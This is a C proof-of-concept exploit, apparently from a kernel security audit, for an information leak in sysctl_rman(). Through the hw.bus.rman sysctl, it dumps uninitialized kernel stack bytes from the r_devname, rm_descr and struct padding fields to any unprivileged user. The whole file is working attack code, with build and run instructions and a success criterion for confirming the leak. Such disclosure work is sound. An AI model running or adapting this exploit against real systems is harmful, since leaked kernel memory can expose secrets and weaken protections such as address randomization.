DF-2854 / rman_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | /* * DF-2854 PoC: sysctl_rman() exports partially-initialized stack to * unprivileged readers via hw.bus.rman. * * sys/kern/subr_rman.c:645-731: `struct u_resource ures` and * `struct u_rman urm` are stack locals that are only *partially* written: * - ures.r_devname[32] gets only strlen(name)+1 bytes (ksnprintf %s%d * / "nomatch" / ""), bytes after the NUL stay uninitialized * - urm.rm_descr[32] gets only strlen(descr)+1 bytes (strlcpy) * - plus the 4 trailing pad bytes of u_resource (DF-0092) * SYSCTL_OUT(req, &ures, sizeof(ures)) copies the FULL sizeof(struct) * (80 bytes), disclosing stale kernel stack to any unprivileged user. * * DF-0092 documented only the 4 trailing padding bytes and asserted the * named fields were fully set -- they are not. This walker dumps the raw * bytes so the after-NUL tail is visible. * * Build: cc -O -o rman_leak rman_leak.c * Run: ./rman_leak (as ANY user; no privileges needed) * Success criterion: nonzero, run-varying bytes in r_devname/rm_descr * after the NUL terminator across >=3 runs (leak_sample.txt). */ #include <sys/types.h> #include <sys/sysctl.h> #include <err.h> #include <errno.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define RM_TEXTLEN 32 struct u_resource { uintptr_t r_handle; uintptr_t r_parent; uintptr_t r_device; char r_devname[RM_TEXTLEN]; unsigned long r_start; unsigned long r_size; unsigned int r_flags; }; struct u_rman { uintptr_t rm_handle; char rm_descr[RM_TEXTLEN]; unsigned long rm_start; unsigned long rm_size; int rm_type; int rm_cpuid; }; struct u_businfo { int ub_version; int ub_generation; }; static void hexdump_field(const char *what, const char *buf, size_t len) { size_t i; size_t nulpos = strlen(buf); /* first NUL */ int nz = 0; printf(" %-22s \"%s\" | raw:", what, buf); for (i = 0; i < len; i++) { if (i == 16) printf("\n %-22s", ""); printf(" %02x", (unsigned char)buf[i]); } for (i = nulpos + 1; i < len; i++) if (buf[i] != 0) nz++; printf("\n -> bytes after first NUL: %zu, nonzero: %d %s\n", len - nulpos - 1, nz, nz ? "<<< UNINITIALIZED STACK LEAKED" : ""); } int main(void) { struct u_businfo ubus; struct u_rman urm; struct u_resource ures; int name2oid[2], oid[CTL_MAXNAME + 12]; size_t oidlen, rlen, blen; int rman_idx, res_idx, rman_ptr, res_ptr; int leaks = 0, entries = 0; /* dirty this thread's kernel stack before each read (namei etc) */ setenv("X", "1", 1); blen = sizeof(ubus); if (sysctlbyname("hw.bus.info", &ubus, &blen, NULL, 0) < 0) err(1, "sysctlbyname(hw.bus.info)"); name2oid[0] = 0; name2oid[1] = 3; oidlen = sizeof(oid); if (sysctl(name2oid, 2, oid, &oidlen, "hw.bus.rman", strlen("hw.bus.rman")) < 0) err(1, "sysctl name2oid"); oidlen /= sizeof(int); oid[oidlen++] = ubus.ub_generation; rman_ptr = oidlen++; res_ptr = oidlen++; for (rman_idx = 0; rman_idx < 255; rman_idx++) { oid[rman_ptr] = rman_idx; oid[res_ptr] = -1; rlen = sizeof(urm); if (sysctl(oid, oidlen, &urm, &rlen, NULL, 0) < 0) { if (errno == ENOENT) break; err(1, "sysctl hw.bus.rman.%d", rman_idx); } printf("rman[%d] handle=%#zx start=%#lx size=%#lx type=%d" " cpuid=%d\n", rman_idx, urm.rm_handle, urm.rm_start, urm.rm_size, urm.rm_type, urm.rm_cpuid); hexdump_field("rm_descr tail:", urm.rm_descr, RM_TEXTLEN); for (res_idx = 0; res_idx < 1000; res_idx++) { oid[res_ptr] = res_idx; rlen = sizeof(ures); if (sysctl(oid, oidlen, &ures, &rlen, NULL, 0) < 0) { if (errno == ENOENT) break; err(1, "sysctl hw.bus.rman.%d.%d", rman_idx, res_idx); } entries++; printf(" res[%d] handle=%#zx start=%#lx size=%#lx" " flags=%#x\n", res_idx, ures.r_handle, ures.r_start, ures.r_size, ures.r_flags); hexdump_field("r_devname tail:", ures.r_devname, RM_TEXTLEN); /* DF-0092's 4 trailing pad bytes (76..79) */ { unsigned char *p = (unsigned char *)&ures; printf(" tail pad bytes 76-79: %02x %02x" " %02x %02x\n", p[76], p[77], p[78], p[79]); if (p[76] | p[77] | p[78] | p[79]) leaks++; } } } printf("SUMMARY: %d resource entries scanned\n", entries); return (0); } |